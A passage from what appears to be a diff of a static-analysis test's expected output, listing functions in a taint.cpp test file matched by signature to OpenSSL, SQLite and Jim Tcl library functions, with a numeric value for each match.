taint.cpp:365:7:365:14 | strndupa | (BIGNUM *,unsigned long) | | BN_sub_word | 1 | +| taint.cpp:365:7:365:14 | strndupa | (BN_BLINDING *,unsigned long) | | BN_BLINDING_set_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (BUF_MEM *,size_t) | | BUF_MEM_grow | 1 | +| taint.cpp:365:7:365:14 | strndupa | (BUF_MEM *,size_t) | | BUF_MEM_grow_clean | 1 | +| taint.cpp:365:7:365:14 | strndupa | (CONF_IMODULE *,unsigned long) | | CONF_imodule_set_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (EVP_CIPHER *,unsigned long) | | EVP_CIPHER_meth_set_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (EVP_MD *,unsigned long) | | EVP_MD_meth_set_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (HMAC_CTX *,unsigned long) | | HMAC_CTX_set_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OPENSSL_INIT_SETTINGS *,unsigned long) | | OPENSSL_INIT_set_config_file_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OPENSSL_LHASH *,unsigned long) | | OPENSSL_LH_set_down_load | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_HPKE_SUITE,size_t) | | OSSL_HPKE_get_ciphertext_size | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_HTTP_REQ_CTX *,size_t) | | OSSL_HTTP_REQ_CTX_set_max_response_hdr_lines | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_HTTP_REQ_CTX *,unsigned long) | | OSSL_HTTP_REQ_CTX_set_max_response_length | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_LIB_CTX *,size_t) | | ossl_quic_lcidm_new | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_PARAM *,size_t) | | OSSL_PARAM_set_size_t | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_PARAM *,unsigned long) | | OSSL_PARAM_set_ulong | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_PQUEUE *,size_t) | | ossl_pqueue_remove | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_PROVIDER *,size_t) | | ossl_provider_set_operation_bit | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_QTX *,size_t) | | ossl_qtx_set_mdpl | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_add_unvalidated_credit | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_consume_unvalidated_credit | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_record_received_closing_bytes | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_frag_len | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_pipelines | 1 | +| taint.cpp:365:7:365:14 | strndupa | (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_release_record | 1 | +| taint.cpp:365:7:365:14 | strndupa | (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_resize_rbuf | 1 | +| taint.cpp:365:7:365:14 | strndupa | (QUIC_RXFC *,size_t) | | ossl_quic_rxfc_set_max_window_size | 1 | +| taint.cpp:365:7:365:14 | strndupa | (QUIC_SSTREAM *,size_t) | | ossl_quic_sstream_set_buffer_size | 1 | +| taint.cpp:365:7:365:14 | strndupa | (QUIC_STREAM_MAP *,size_t) | | ossl_quic_stream_map_set_rr_stepping | 1 | +| taint.cpp:365:7:365:14 | strndupa | (RAND_POOL *,size_t) | | ossl_rand_pool_add_begin | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SIPHASH *,size_t) | | SipHash_set_hash_size | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SSL *,size_t) | | SSL_set_block_padding | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SSL *,size_t) | | SSL_set_default_read_buffer_len | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SSL *,size_t) | | SSL_set_num_tickets | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SSL *,unsigned long) | | SSL_dane_clear_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SSL *,unsigned long) | | SSL_dane_set_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SSL_CTX *,size_t) | | SSL_CTX_set_block_padding | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SSL_CTX *,size_t) | | SSL_CTX_set_default_read_buffer_len | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SSL_CTX *,size_t) | | SSL_CTX_set_num_tickets | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_clear_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_set_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (WPACKET *,size_t) | | WPACKET_init_null | 1 | +| taint.cpp:365:7:365:14 | strndupa | (WPACKET *,size_t) | | WPACKET_set_max_size | 1 | +| taint.cpp:365:7:365:14 | strndupa | (WPACKET *,size_t) | | WPACKET_start_sub_packet_len__ | 1 | +| taint.cpp:365:7:365:14 | strndupa | (WPACKET *,size_t) | | ossl_quic_wire_encode_padding | 1 | +| taint.cpp:365:7:365:14 | strndupa | (X509_STORE *,unsigned long) | | X509_STORE_set_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (X509_STORE_CTX *,unsigned long) | | X509_STORE_CTX_set_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_clear_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_set_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (char *,size_t) | | RAND_file_name | 1 | +| taint.cpp:365:7:365:14 | strndupa | (const BIGNUM *,unsigned long) | | BN_mod_word | 1 | +| taint.cpp:365:7:365:14 | strndupa | (const char *,size_t) | | OPENSSL_strnlen | 0 | +| taint.cpp:365:7:365:14 | strndupa | (const char *,size_t) | | OPENSSL_strnlen | 1 | +| taint.cpp:365:7:365:14 | strndupa | (const uint8_t *,size_t) | | FuzzerTestOneInput | 1 | +| taint.cpp:365:7:365:14 | strndupa | (const uint8_t *,size_t) | | ossl_ed448_pubkey_verify | 1 | +| taint.cpp:365:7:365:14 | strndupa | (int,size_t) | | ossl_calculate_comp_expansion | 1 | +| taint.cpp:365:7:365:14 | strndupa | (uint8_t *,size_t) | | ossl_fnv1a_hash | 1 | +| taint.cpp:365:7:365:14 | strndupa | (void *,size_t) | | JimDefaultAllocator | 1 | +| taint.cpp:367:6:367:16 | test_strdup | (char *) | | SRP_VBASE_new | 0 | +| taint.cpp:367:6:367:16 | test_strdup | (char *) | | defossilize | 0 | +| taint.cpp:367:6:367:16 | test_strdup | (char *) | | make_uppercase | 0 | +| taint.cpp:367:6:367:16 | test_strdup | (char *) | | next_item | 0 | | taint.cpp:367:6:367:16 | test_strdup | (char *) | CStringT | CStringT | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | ASN1_STRING_type_new | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | ASN1_tag2bit | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | ASN1_tag2str | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | EVP_PKEY_asn1_get0 | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | Jim_ReturnCode | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | Jim_SignalId | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | OBJ_nid2ln | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | OBJ_nid2obj | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | OBJ_nid2sn | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | OSSL_STORE_INFO_type_string | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | OSSL_trace_get_category_name | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | PKCS12_init | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | Symbol_Nth | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | X509_PURPOSE_get0 | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | X509_PURPOSE_get_by_id | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | X509_TRUST_get0 | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | X509_TRUST_get_by_id | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | evp_pkey_type2name | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | ossl_cmp_bodytype_to_string | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | ossl_tolower | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | ossl_toupper | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | sqlite3_compileoption_get | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | sqlite3_errstr | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | tls13_alert_code | 0 | | taint.cpp:387:6:387:16 | test_wcsdup | (wchar_t *) | CStringT | CStringT | 0 | +| taint.cpp:397:6:397:17 | test_strdupa | (char *) | | SRP_VBASE_new | 0 | +| taint.cpp:397:6:397:17 | test_strdupa | (char *) | | defossilize | 0 | +| taint.cpp:397:6:397:17 | test_strdupa | (char *) | | make_uppercase | 0 | +| taint.cpp:397:6:397:17 | test_strdupa | (char *) | | next_item | 0 | | taint.cpp:397:6:397:17 | test_strdupa | (char *) | CStringT | CStringT | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | ASN1_STRING_type_new | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | ASN1_tag2bit | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | ASN1_tag2str | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | EVP_PKEY_asn1_get0 | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | Jim_ReturnCode | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | Jim_SignalId | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | OBJ_nid2ln | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | OBJ_nid2obj | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | OBJ_nid2sn | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | OSSL_STORE_INFO_type_string | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | OSSL_trace_get_category_name | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | PKCS12_init | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | Symbol_Nth | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | X509_PURPOSE_get0 | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | X509_PURPOSE_get_by_id | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | X509_TRUST_get0 | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | X509_TRUST_get_by_id | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | evp_pkey_type2name | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | ossl_cmp_bodytype_to_string | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | ossl_tolower | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | ossl_toupper | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | sqlite3_compileoption_get | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | sqlite3_errstr | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | tls13_alert_code | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | ASN1_STRING_type_new | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | ASN1_tag2bit | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | ASN1_tag2str | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | EVP_PKEY_asn1_get0 | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | Jim_ReturnCode | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | Jim_SignalId | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | OBJ_nid2ln | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | OBJ_nid2obj | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | OBJ_nid2sn | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | OSSL_STORE_INFO_type_string | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | OSSL_trace_get_category_name | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | PKCS12_init | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | Symbol_Nth | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | X509_PURPOSE_get0 | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | X509_PURPOSE_get_by_id | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | X509_TRUST_get0 | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | X509_TRUST_get_by_id | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | evp_pkey_type2name | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | ossl_cmp_bodytype_to_string | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | ossl_tolower | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | ossl_toupper | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | sqlite3_compileoption_get | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | sqlite3_errstr | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | tls13_alert_code | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | ASN1_STRING_type_new | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | ASN1_tag2bit | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | ASN1_tag2str | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | EVP_PKEY_asn1_get0 | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | Jim_ReturnCode | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | Jim_SignalId | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | OBJ_nid2ln | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | OBJ_nid2obj | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | OBJ_nid2sn | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | OSSL_STORE_INFO_type_string | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | OSSL_trace_get_category_name | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | PKCS12_init | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | Symbol_Nth | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | X509_PURPOSE_get0 | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | X509_PURPOSE_get_by_id | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | X509_TRUST_get0 | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | X509_TRUST_get_by_id | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | evp_pkey_type2name | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | ossl_cmp_bodytype_to_string | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | ossl_tolower | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | ossl_toupper | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | sqlite3_compileoption_get | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | sqlite3_errstr | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | tls13_alert_code | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | BIO_gethostbyname | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | Jim_StrDup | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | OPENSSL_LH_strhash | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | Strsafe | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | Symbol_new | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | UI_create_method | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | X509V3_parse_list | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | X509_LOOKUP_meth_new | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | a2i_IPADDRESS | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | a2i_IPADDRESS_NC | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | opt_path_end | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | opt_progname | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | ossl_lh_strcasehash | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | strhash | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | BIO_gethostbyname | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | Jim_StrDup | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | OPENSSL_LH_strhash | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | Strsafe | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | Symbol_new | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | UI_create_method | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | X509V3_parse_list | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | X509_LOOKUP_meth_new | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | a2i_IPADDRESS | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | a2i_IPADDRESS_NC | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | opt_path_end | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | opt_progname | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | ossl_lh_strcasehash | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | strhash | 0 | +| taint.cpp:512:7:512:12 | strtok | (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 1 | +| taint.cpp:512:7:512:12 | strtok | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string | 1 | +| taint.cpp:512:7:512:12 | strtok | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string_X509 | 1 | +| taint.cpp:512:7:512:12 | strtok | (ASN1_UTCTIME *,const char *) | | ASN1_UTCTIME_set_string | 1 | +| taint.cpp:512:7:512:12 | strtok | (BIGNUM **,const char *) | | BN_asc2bn | 1 | +| taint.cpp:512:7:512:12 | strtok | (BIGNUM **,const char *) | | BN_dec2bn | 1 | +| taint.cpp:512:7:512:12 | strtok | (BIGNUM **,const char *) | | BN_hex2bn | 1 | +| taint.cpp:512:7:512:12 | strtok | (CONF *,const char *) | | TS_CONF_get_tsa_section | 1 | +| taint.cpp:512:7:512:12 | strtok | (CONF *,const char *) | | _CONF_new_section | 1 | +| taint.cpp:512:7:512:12 | strtok | (DH_METHOD *,const char *) | | DH_meth_set1_name | 1 | +| taint.cpp:512:7:512:12 | strtok | (DSA_METHOD *,const char *) | | DSA_meth_set1_name | 1 | +| taint.cpp:512:7:512:12 | strtok | (DSO *,const char *) | | DSO_convert_filename | 1 | +| taint.cpp:512:7:512:12 | strtok | (DSO *,const char *) | | DSO_set_filename | 1 | +| taint.cpp:512:7:512:12 | strtok | (ENGINE *,const char *) | | ENGINE_set_id | 1 | +| taint.cpp:512:7:512:12 | strtok | (ENGINE *,const char *) | | ENGINE_set_name | 1 | +| taint.cpp:512:7:512:12 | strtok | (ENGINE *,const char *) | | OSSL_STORE_LOADER_new | 1 | +| taint.cpp:512:7:512:12 | strtok | (EVP_PKEY *,const char *) | | CTLOG_new | 1 | +| taint.cpp:512:7:512:12 | strtok | (EVP_PKEY_CTX *,const char *) | | app_paramgen | 1 | +| taint.cpp:512:7:512:12 | strtok | (EVP_PKEY_CTX *,const char *) | | pkey_ctrl_string | 1 | +| taint.cpp:512:7:512:12 | strtok | (Jim_Interp *,const char *) | | Jim_Eval | 1 | +| taint.cpp:512:7:512:12 | strtok | (Jim_Interp *,const char *) | | Jim_EvalFile | 1 | +| taint.cpp:512:7:512:12 | strtok | (Jim_Interp *,const char *) | | Jim_EvalFileGlobal | 1 | +| taint.cpp:512:7:512:12 | strtok | (Jim_Interp *,const char *) | | Jim_EvalGlobal | 1 | +| taint.cpp:512:7:512:12 | strtok | (OPENSSL_DIR_CTX **,const char *) | | OPENSSL_DIR_read | 1 | +| taint.cpp:512:7:512:12 | strtok | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_appname | 1 | +| taint.cpp:512:7:512:12 | strtok | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_filename | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_no_proxy | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_proxy | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_server | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_serverPath | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_structure | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_type | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_structure | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_type | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_JSON_ENC *,const char *) | | ossl_json_key | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_JSON_ENC *,const char *) | | ossl_json_str | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | CTLOG_STORE_new_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | CT_POLICY_EVAL_CTX_new_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | EC_KEY_new_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_CTX_new | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_new | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_SRV_CTX_new | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | OSSL_PROVIDER_load | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | PKCS7_new_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | SCT_CTX_new | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | TS_RESP_CTX_new_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | X509_CRL_new_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | X509_PUBKEY_new_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | X509_REQ_new_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | X509_STORE_CTX_new_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | X509_new_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | ossl_cmp_mock_srv_new | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | ossl_cms_Data_create | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_LIB_CTX *,const char *) | | ossl_parse_property | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_PARAM *,const char *) | | OSSL_PARAM_locate | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_ptr | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_string | 1 | +| taint.cpp:512:7:512:12 | strtok | (OSSL_PROVIDER *,const char *) | | ossl_provider_set_module_path | 1 | +| taint.cpp:512:7:512:12 | strtok | (PKCS7 *,const char *) | | ossl_pkcs7_set1_propq | 1 | +| taint.cpp:512:7:512:12 | strtok | (RSA_METHOD *,const char *) | | RSA_meth_set1_name | 1 | +| taint.cpp:512:7:512:12 | strtok | (SSL *,const char *) | | SSL_add1_host | 1 | +| taint.cpp:512:7:512:12 | strtok | (SSL *,const char *) | | SSL_set1_host | 1 | +| taint.cpp:512:7:512:12 | strtok | (SSL *,const char *) | | SSL_set_cipher_list | 1 | +| taint.cpp:512:7:512:12 | strtok | (SSL *,const char *) | | SSL_use_psk_identity_hint | 1 | +| taint.cpp:512:7:512:12 | strtok | (SSL_CONF_CTX *,const char *) | | SSL_CONF_CTX_set1_prefix | 1 | +| taint.cpp:512:7:512:12 | strtok | (SSL_CONF_CTX *,const char *) | | SSL_CONF_cmd_value_type | 1 | +| taint.cpp:512:7:512:12 | strtok | (SSL_CTX *,const char *) | | SSL_CTX_set_cipher_list | 1 | +| taint.cpp:512:7:512:12 | strtok | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | +| taint.cpp:512:7:512:12 | strtok | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | +| taint.cpp:512:7:512:12 | strtok | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | +| taint.cpp:512:7:512:12 | strtok | (UI *,const char *) | | UI_add_error_string | 1 | +| taint.cpp:512:7:512:12 | strtok | (UI *,const char *) | | UI_add_info_string | 1 | +| taint.cpp:512:7:512:12 | strtok | (UI *,const char *) | | UI_dup_error_string | 1 | +| taint.cpp:512:7:512:12 | strtok | (UI *,const char *) | | UI_dup_info_string | 1 | +| taint.cpp:512:7:512:12 | strtok | (X509 *,const char *) | | x509_ctrl_string | 1 | +| taint.cpp:512:7:512:12 | strtok | (X509_REQ *,const char *) | | x509_req_ctrl_string | 1 | +| taint.cpp:512:7:512:12 | strtok | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_ip_asc | 1 | +| taint.cpp:512:7:512:12 | strtok | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_name | 1 | +| taint.cpp:512:7:512:12 | strtok | (const OSSL_PARAM *,const char *) | | OSSL_PARAM_locate_const | 1 | +| taint.cpp:512:7:512:12 | strtok | (const char *,const char *) | | Configcmp | 1 | +| taint.cpp:512:7:512:12 | strtok | (const char *,const char *) | | DES_crypt | 1 | +| taint.cpp:512:7:512:12 | strtok | (const char *,const char *) | | OPENSSL_strcasecmp | 1 | +| taint.cpp:512:7:512:12 | strtok | (const char *,const char *) | | get_passwd | 1 | +| taint.cpp:512:7:512:12 | strtok | (const char *,const char *) | | openssl_fopen | 1 | +| taint.cpp:512:7:512:12 | strtok | (const char *,const char *) | | ossl_pem_check_suffix | 1 | +| taint.cpp:512:7:512:12 | strtok | (const char *,const char *) | | ossl_v3_name_cmp | 1 | +| taint.cpp:512:7:512:12 | strtok | (const char *,const char *) | | sqlite3_strglob | 1 | +| taint.cpp:512:7:512:12 | strtok | (const char *,const char *) | | sqlite3_stricmp | 1 | +| taint.cpp:512:7:512:12 | strtok | (int,const char *) | | BIO_meth_new | 